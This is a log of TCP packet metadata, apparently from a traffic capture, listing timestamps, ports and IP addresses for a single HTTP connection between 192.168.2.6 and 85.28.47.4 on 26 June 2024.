Jun 26, 2024 08:16:23.203242064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203242064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203284979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.268379927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.273211956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443800926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443857908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443882942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443892002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.443900108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443916082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443932056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443941116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.443954945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443972111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.443974018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.443988085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444005013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444006920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444006920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444022894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444037914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444041014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444055080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444062948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444077969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444092035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444103003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444118023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444119930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444130898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444139957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444144964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444171906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444171906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444201946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444245100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444262028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444276094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444291115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444307089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444322109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444339037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444355965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444355965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444376945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444380045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444396019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444410086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444417000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444426060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444441080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444456100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444464922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444470882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444494009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444508076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444509029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444509983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444559097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444581032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444581032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444581032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444597960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444621086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444621086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444648027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444686890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444701910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444716930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444730997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444746971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444761992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444767952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444767952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444778919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444793940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444817066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444817066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444817066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444832087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444844007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444849968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444888115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444900036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444921970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444927931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444938898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444955111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444969893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.444979906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.444988966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445003986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445030928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445031881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445054054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445070028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445085049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445096970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445096970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445096970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445100069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445143938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445143938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445277929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445292950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445308924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445323944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445343018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445358038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445364952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445364952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445374012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445389986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445390940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445415020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445430040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445444107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445445061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445461035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445476055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445491076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445497036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445497036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445508957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445523977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445538044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445559025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445559025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445576906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445591927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445606947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445621967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445636988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445652008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445667028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445667982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445667982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445667982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445683002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445708036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445713043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445713043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445724964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445740938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445775986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445832968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445837975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445843935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445854902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445869923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445883989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445898056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445899010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445898056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445915937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445931911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445933104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.445947886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.445981026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446001053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446001053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446047068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446065903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446083069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446098089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446113110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446127892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446144104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446158886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446158886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446158886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446217060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446221113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446244001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446259022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446273088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446288109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446301937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446304083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446317911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446327925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446327925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446335077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446352959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446367979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446382999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446398020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.446405888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446405888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.446430922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773544073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773581028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773597956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773632050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773648024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773657084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773664951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773683071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773696899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773701906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773720026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773734093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773741007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773751020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773766041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773782015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773785114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773785114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773833036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773848057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773864031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773868084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773868084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773880005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773888111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773899078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773914099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773955107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.773983002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.773999929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774014950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774019957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774030924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774056911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774059057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774059057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774071932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774091005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774108887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774121046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774126053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774142027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774158001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774192095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774192095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774207115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774223089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774239063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774244070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774260044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774270058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774275064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774291039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774331093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774331093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774347067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774362087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774374008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774377108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774394035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774418116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774431944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774478912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774497986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774529934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774544954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774553061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774560928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774581909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774595976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774597883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774614096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774626970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774630070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774637938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774646997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774662018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774674892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774677992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774696112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774710894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774733067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774734020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774749041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774765968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.774780035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774780035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774842024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.774997950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775012970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775027990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775042057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775055885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775070906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775072098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775087118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775103092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775110006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775125980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775141954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775146961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775157928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775175095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775187016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775192022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775208950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775223970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775243044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775243998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775243044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775264025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775276899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775279999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775298119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775316954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775331020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775367022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775433064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775453091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775468111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775481939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775496960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775500059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775511980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775516987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775528908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775543928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775549889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775568008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775583982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775588036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775588036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775599957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775614023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775629044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775644064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775649071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.775660992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775676966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775692940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775707960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.775722980 CEST	80	49713	85.28.47.4	192.168.2.6
